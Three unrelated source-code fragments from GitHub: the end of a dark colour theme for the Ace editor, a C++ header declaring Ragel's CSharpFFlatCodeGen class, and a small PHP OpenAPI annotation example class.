.ace-tomorrow-night .ace_invisible {\ color: #4B4E55\ }\ .ace-tomorrow-night .ace_keyword,\ .ace-tomorrow-night .ace_meta,\ .ace-tomorrow-night .ace_storage,\ .ace-tomorrow-night .ace_storage.ace_type,\ .ace-tomorrow-night .ace_support.ace_type {\ color: #B294BB\ }\ .ace-tomorrow-night .ace_keyword.ace_operator {\ color: #8ABEB7\ }\ .ace-tomorrow-night .ace_constant.ace_character,\ .ace-tomorrow-night .ace_constant.ace_language,\ .ace-tomorrow-night .ace_constant.ace_numeric,\ .ace-tomorrow-night .ace_keyword.ace_other.ace_unit,\ .ace-tomorrow-night .ace_support.ace_constant,\ .ace-tomorrow-night .ace_variable.ace_parameter {\ color: #DE935F\ }\ .ace-tomorrow-night .ace_constant.ace_other {\ color: #CED1CF\ }\ .ace-tomorrow-night .ace_invalid {\ color: #CED2CF;\ background-color: #DF5F5F\ }\ .ace-tomorrow-night .ace_invalid.ace_deprecated {\ color: #CED2CF;\ background-color: #B798BF\ }\ .ace-tomorrow-night .ace_fold {\ background-color: #81A2BE;\ border-color: #C5C8C6\ }\ .ace-tomorrow-night .ace_entity.ace_name.ace_function,\ .ace-tomorrow-night .ace_support.ace_function,\ .ace-tomorrow-night .ace_variable {\ color: #81A2BE\ }\ .ace-tomorrow-night .ace_support.ace_class,\ .ace-tomorrow-night .ace_support.ace_type {\ color: #F0C674\ }\ .ace-tomorrow-night .ace_heading,\ .ace-tomorrow-night .ace_markup.ace_heading,\ .ace-tomorrow-night .ace_string {\ color: #B5BD68\ }\ .ace-tomorrow-night .ace_entity.ace_name.ace_tag,\ .ace-tomorrow-night .ace_entity.ace_other.ace_attribute-name,\ .ace-tomorrow-night .ace_meta.ace_tag,\ .ace-tomorrow-night .ace_string.ace_regexp,\ .ace-tomorrow-night .ace_variable {\ color: #CC6666\ }\ .ace-tomorrow-night .ace_comment {\ color: #969896\ }\ .ace-tomorrow-night .ace_indent-guide {\ background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAACCAYAAACZgbYnAAAAEklEQVQImWNgYGBgYHB3d/8PAAOIAdULw8qMAAAAAElFTkSuQmCC) right repeat-y\ }"; var dom = require("../lib/dom"); dom.importCssString(exports.cssText, exports.cssClass); });
{ "pile_set_name": "Github" }
/* * Copyright 2004-2006 Adrian Thurston <thurston@complang.org> * 2004 Erich Ocean <eric.ocean@ampede.com> * 2005 Alan West <alan@alanz.com> */ /* This file is part of Ragel. * * Ragel is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * Ragel is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with Ragel; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #ifndef _CSFFLAT_H #define _CSFFLAT_H #include <iostream> #include "csflat.h" /* Forwards. */ struct CodeGenData; /* * CSharpFFlatCodeGen */ class CSharpFFlatCodeGen : public CSharpFlatCodeGen { public: CSharpFFlatCodeGen( ostream &out ) : CSharpFsmCodeGen(out), CSharpFlatCodeGen(out) {} private: std::ostream &TO_STATE_ACTION_SWITCH(); std::ostream &FROM_STATE_ACTION_SWITCH(); std::ostream &EOF_ACTION_SWITCH(); std::ostream &ACTION_SWITCH(); virtual std::ostream &TO_STATE_ACTION( RedStateAp *state ); virtual std::ostream &FROM_STATE_ACTION( RedStateAp *state ); virtual std::ostream &EOF_ACTION( RedStateAp *state ); virtual std::ostream &TRANS_ACTION( RedTransAp *trans ); virtual void writeData(); virtual void writeExec(); }; #endif
{ "pile_set_name": "Github" }
<?php namespace OpenApi\LinkExample; /** * @OA\Schema(schema="pullrequest") */ class Repository { /** * @OA\Property() * @var integer */ public $id; /** * @OA\Property() * @var string */ public $title; /** * @OA\Property() * @var Repository */ public $repository; /** * @OA\Property() * @var User */ public $author; }
{ "pile_set_name": "Github" }